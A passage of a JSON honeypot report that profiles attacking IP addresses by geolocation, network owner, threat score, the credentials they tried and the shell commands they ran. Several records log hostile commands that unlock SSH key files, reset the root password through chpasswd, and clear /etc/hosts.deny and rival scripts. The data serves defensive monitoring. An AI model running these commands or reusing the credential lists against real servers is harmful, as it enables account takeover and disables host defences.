        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-03T18:36:59.010000+00:00",
        "last_seen_30d": "2026-03-28T23:48:46.714000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 191,
        "Suricata": 62
      }
    },
    "188.2.32.110": {
      "attack_count": 188,
      "first_seen": "2026-03-20T19:53:48.388Z",
      "last_seen": "2026-03-20T20:16:14.467Z",
      "sessions": 14,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "alfredo",
        "astra",
        "root",
        "backend",
        "dis",
        "esuser",
        "kapsch",
        "pwserver",
        "superadmin"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "password",
        "12345",
        "1234asdf",
        "Kapsch123",
        "Server2025@",
        "astra123!",
        "backend",
        "dis",
        "esuser123"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"astra123!\\nO9YzMWO3h12J\\nO9YzMWO3h12J\\n\"|passwd",
        "echo \"password\\niUQp5bIVOpuf\\niUQp5bIVOpuf\\n\"|passwd",
        "echo -e \"astra123!\\nO9YzMWO3h12J\\nO9YzMWO3h12J\"|passwd|bash",
        "echo -e \"password\\niUQp5bIVOpuf\\niUQp5bIVOpuf\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Serbia",
      "country_code": "RS",
      "city": "Novi Sad",
      "asn": 31042,
      "as_org": "Serbia BroadBand-Srpske Kablovske mreze d.o.o.",
      "threat_score": 23.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 221,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-20T19:53:48.388000+00:00",
        "last_seen_30d": "2026-03-20T20:17:20.231000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 188,
        "Suricata": 33
      }
    },
    "81.192.46.32": {
      "attack_count": 188,
      "first_seen": "2026-03-22T12:04:33.788Z",
      "last_seen": "2026-03-22T12:23:23.854Z",
      "sessions": 14,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "astra",
        "karim",
        "ann",
        "escaner",
        "ftpadmin",
        "jun",
        "pwserver",
        "rdpuser",
        "shoutcast",
        "simeon"
      ],
      "passwords_attempted": [
        "1234",
        "123456",
        "3245gs5662d34",
        "345gs5662d34",
        "Ftpadmin123",
        "Shoutcast123!",
        "escaner",
        "password",
        "pwserver",
        "simeonpass"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"1234\\ndQT2Je6K5wF8\\ndQT2Je6K5wF8\\n\"|passwd",
        "echo \"password\\nMETUy7k7E30U\\nMETUy7k7E30U\\n\"|passwd",
        "echo -e \"1234\\ndQT2Je6K5wF8\\ndQT2Je6K5wF8\"|passwd|bash",
        "echo -e \"password\\nMETUy7k7E30U\\nMETUy7k7E30U\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Morocco",
      "country_code": "MA",
      "city": "Rabat",
      "asn": 6713,
      "as_org": "Itissalat Al-MAGHRIB",
      "threat_score": 25.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 220,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-22T12:04:33.788000+00:00",
        "last_seen_30d": "2026-03-22T12:24:26.961000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 188,
        "Suricata": 32
      }
    },
    "76.79.213.70": {
      "attack_count": 186,
      "first_seen": "2026-03-30T11:35:51.660Z",
      "last_seen": "2026-03-30T12:12:39.263Z",
      "sessions": 14,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1qaz2wsx_",
        "Aa123456!!",
        "Abcd1234.",
        "Fz123456",
        "Huawei@2026",
        "Sm123456",
        "Venus@123",
        "hengbing147258369",
        "huanmuchina",
        "popmusic789"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:1uOBiNoBtx22\"|chpasswd|bash",
        "echo \"root:gK1Idb5Wn053\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Los Angeles",
      "asn": 20001,
      "as_org": "Charter Communications Inc",
      "threat_score": 35.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 220,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-30T11:35:51.660000+00:00",
        "last_seen_30d": "2026-03-30T12:13:45.585000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 186,
        "Suricata": 34
      }
    },
    "101.47.141.214": {
      "attack_count": 179,
      "first_seen": "2026-03-03T20:34:07.308Z",
      "last_seen": "2026-03-03T21:25:27.250Z",
      "sessions": 16,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "!@QW34er",
        "12344",
        "1qazXSW@3edcVFR$",
        "345gs5662d34",
        "Bingo@1993",
        "Gfhjkm123456",
        "Qweasd123!@#",
        "Qwerty@1",
        "parker",
        "test01"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "crontab -l",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "ls -lh $(which ls)",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "uname -m",
        "w",
        "which ls",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:Ik23834KCA37\"|chpasswd|bash",
        "echo \"root:OJCvmuAUKUhe\"|chpasswd|bash",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version",
        "cowrie.client.kex",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.login.success"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 150436,
      "as_org": "Byteplus Pte. Ltd.",
      "threat_score": 3.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 23.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 218,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-03T20:34:07.308000+00:00",
        "last_seen_30d": "2026-03-03T21:26:35.870000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 179,
        "Suricata": 39
      }
    },
    "159.54.167.94": {
      "attack_count": 173,
      "first_seen": "2026-03-09T12:02:47.371Z",
      "last_seen": "2026-03-09T12:32:14.189Z",
      "sessions": 11,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "claude",
        "anders",
        "builder",
        "leon",
        "mama",
        "newusername",
        "paid",
        "root"
      ],
      "passwords_attempted": [
        "1234",
        "345gs5662d34",
        "123",
        "123456",
        "3245gs5662d34",
        "mama123!",
        "password",
        "test123456!"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"123456\\n3LiE8fU5P78n\\n3LiE8fU5P78n\\n\"|passwd",
        "echo \"1234\\nRbqYT4QrPyoh\\nRbqYT4QrPyoh\\n\"|passwd",
        "echo -e \"123456\\n3LiE8fU5P78n\\n3LiE8fU5P78n\"|passwd|bash",
        "echo -e \"1234\\nRbqYT4QrPyoh\\nRbqYT4QrPyoh\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "San Jose",
      "asn": 31898,
      "as_org": "Oracle Corporation",
      "threat_score": 9.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 23.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 200,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-09T12:02:47.371000+00:00",
        "last_seen_30d": "2026-03-09T12:33:18.172000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 173,
        "Suricata": 27
      }
    },
    "175.198.62.180": {
      "attack_count": 173,
      "first_seen": "2026-03-30T04:06:26.982Z",
      "last_seen": "2026-03-30T05:25:32.670Z",
      "sessions": 23,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "111",
        "123456a.",
        "123456test",
        "1234Admin",
        "3245gs5662d34",
        "345gs5662d34",
        "6666",
        "Admin123",
        "HJ123456@",
        "Hl123456.",
        "P@55w0rd!@#",
        "PAssw0rd1",
        "Temp2024",
        "axente",
        "fjbdfdjkdsfs541544@@",
        "jboss",
        "justine",
        "liubo",
        "r00t@",
        "sh123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:4JuxZp36XyOV\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Gangseo-gu",
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 35.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 230,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-30T04:06:26.982000+00:00",
        "last_seen_30d": "2026-03-30T05:26:41.154000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 173,
        "Suricata": 57
      }
    },
    "152.67.46.203": {
      "attack_count": 168,
      "first_seen": "2026-03-27T06:15:26.644Z",
      "last_seen": "2026-03-27T08:13:35.923Z",
      "sessions": 22,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "!@#QWEASDzxc",
        "123987",
        "1qazxsw2!Q",
        "2248",
        "3245gs5662d34",
        "345gs5662d34",
        "@Aa123456",
        "@a123456789",
        "Admin-2025",
        "Pass@w0rd!",
        "QAZ!@#123",
        "Su123123",
        "ZXCasdqwe123",
        "aA111222",
        "hell",
        "kakohost",
        "mohammad1",
        "nightmare",
        "p@ssword123",
        "passwd123$"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:mIyG7IotBqbq\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "S\u00e3o Paulo",
      "asn": 31898,
      "as_org": "Oracle Corporation",
      "threat_score": 31.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 232,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-27T06:15:26.644000+00:00",
        "last_seen_30d": "2026-03-27T08:14:36.667000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 168,
        "Suricata": 64
      }
    },
    "134.122.61.131": {
      "attack_count": 140,
      "first_seen": "2026-03-11T04:06:34.103Z",
      "last_seen": "2026-03-11T04:34:24.766Z",
      "sessions": 27,
      "ports": [],
      "usernames_attempted": [
        "admin",
        "root",
        "test",
        "user"
      ],
      "passwords_attempted": [
        "password",
        "111111",
        "123123",
        "12345",
        "123456",
        "12345678",
        "123456789",
        "qwerty",
        "1234567"
      ],
      "commands_executed": [
        "cat /proc/uptime 2 > /dev/null | cut -d. -f1",
        "uname -m 2 > /dev/null",
        "uname -s -v -n -m 2 > /dev/null"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": "Amsterdam",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 12.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 23.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 201,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-11T04:06:34.103000+00:00",
        "last_seen_30d": "2026-03-11T04:35:33.815000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 140,
        "Suricata": 61
      }
    },
    "185.227.111.126": {
      "attack_count": 133,
      "first_seen": "2026-03-26T07:14:34.355Z",
      "last_seen": "2026-03-30T00:07:30.351Z",
      "sessions": 15,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "adrian",
        "kafka"
      ],
      "passwords_attempted": [
        "1qaz2wsx~!@",
        "20250428",
        "240487",
        "3245gs5662d34",
        "345gs5662d34",
        "881016",
        "fucker",
        "hello21",
        "iddqd",
        "kafka1234",
        "naruto",
        "password",
        "pruebas",
        "root!2026",
        "user12345"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:VyJDzXoVoTTh\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 204548,
      "as_org": "Kamatera Inc",
      "threat_score": 37.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 22.4,
        "persistence": 4.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 173,
        "days_active_30d": 5,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-26T07:14:34.355000+00:00",
        "last_seen_30d": "2026-03-30T00:08:39.825000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 133,
        "Suricata": 40
      }
    },
    "113.31.103.129": {
      "attack_count": 129,
      "first_seen": "2026-03-23T21:47:36.780Z",
      "last_seen": "2026-03-25T22:45:40.263Z",
      "sessions": 15,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "celery",
        "django",
        "evertz",
        "jenkins"
      ],
      "passwords_attempted": [
        "1",
        "12345",
        "1qaz!QAZ",
        "201314",
        "3245gs5662d34",
        "345gs5662d34",
        "P@ssW0rd",
        "Zh123456@",
        "djangodjango",
        "evertzevertz"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:R39ZlGOZMbXw\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.session.params",
        "cowrie.log.closed",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 17621,
      "as_org": "China Unicom Shanghai network",
      "threat_score": 29.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 22.3,
        "persistence": 2.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 169,
        "days_active_30d": 3,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-23T21:47:36.780000+00:00",
        "last_seen_30d": "2026-03-25T22:47:33.311000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 129,
        "Suricata": 40
      }
    },
    "190.111.203.33": {
      "attack_count": 124,
      "first_seen": "2026-03-11T02:11:22.641Z",
      "last_seen": "2026-03-11T02:38:18.014Z",
      "sessions": 13,
      "ports": [],
      "usernames_attempted": [
        "mysql",
        "root",
        "345gs5662d34",
        "clawd",
        "dmdba",
        "iptv",
        "nominatim",
        "scan",
        "superset",
        "vps",
        "xray"
      ],
      "passwords_attempted": [
        "12345678",
        "3245gs5662d34",
        "345gs5662d34",
        "Dmdba123",
        "QWERqwer123",
        "iptv1234",
        "nominatim123",
        "root123@",
        "scan",
        "superset123",
        "vps1234",
        "xray"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"12345678\\nXIduGgg1fAnE\\nXIduGgg1fAnE\\n\"|passwd",
        "echo -e \"12345678\\nXIduGgg1fAnE\\nXIduGgg1fAnE\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Argentina",
      "country_code": "AR",
      "city": null,
      "asn": 11014,
      "as_org": "CPS",
      "threat_score": 11.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 155,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-11T02:11:22.641000+00:00",
        "last_seen_30d": "2026-03-11T02:39:20.459000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 124,
        "Suricata": 31
      }
    },
    "34.93.128.179": {
      "attack_count": 124,
      "first_seen": "2026-03-12T16:03:49.040Z",
      "last_seen": "2026-03-12T16:24:37.983Z",
      "sessions": 13,
      "ports": [],
      "usernames_attempted": [
        "claude",
        "345gs5662d34",
        "dylan",
        "emma",
        "hh",
        "lh",
        "music",
        "sai",
        "sdtd",
        "sim",
        "yann",
        "zzy"
      ],
      "passwords_attempted": [
        "12345",
        "123",
        "1234",
        "3245gs5662d34",
        "345gs5662d34",
        "Hh123!",
        "dylan123!",
        "emmapass",
        "music",
        "password",
        "saipass",
        "yann"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"password\\n5U2TjxdLPFVB\\n5U2TjxdLPFVB\\n\"|passwd",
        "echo -e \"password\\n5U2TjxdLPFVB\\n5U2TjxdLPFVB\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Mumbai",
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 12.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 154,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-12T16:03:49.040000+00:00",
        "last_seen_30d": "2026-03-12T16:25:41.557000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 124,
        "Suricata": 30
      }
    },
    "103.250.11.121": {
      "attack_count": 119,
      "first_seen": "2026-03-09T12:08:23.513Z",
      "last_seen": "2026-03-09T12:30:26.628Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "portal",
        "345gs5662d34",
        "abdullah",
        "canon",
        "deamon",
        "nx",
        "passbolt",
        "pzuser",
        "rachel",
        "spawner",
        "student5"
      ],
      "passwords_attempted": [
        "123",
        "12345",
        "12345678",
        "3245gs5662d34",
        "345gs5662d34",
        "Abdullah123!",
        "Pzuser123",
        "Student5123!",
        "canon123!",
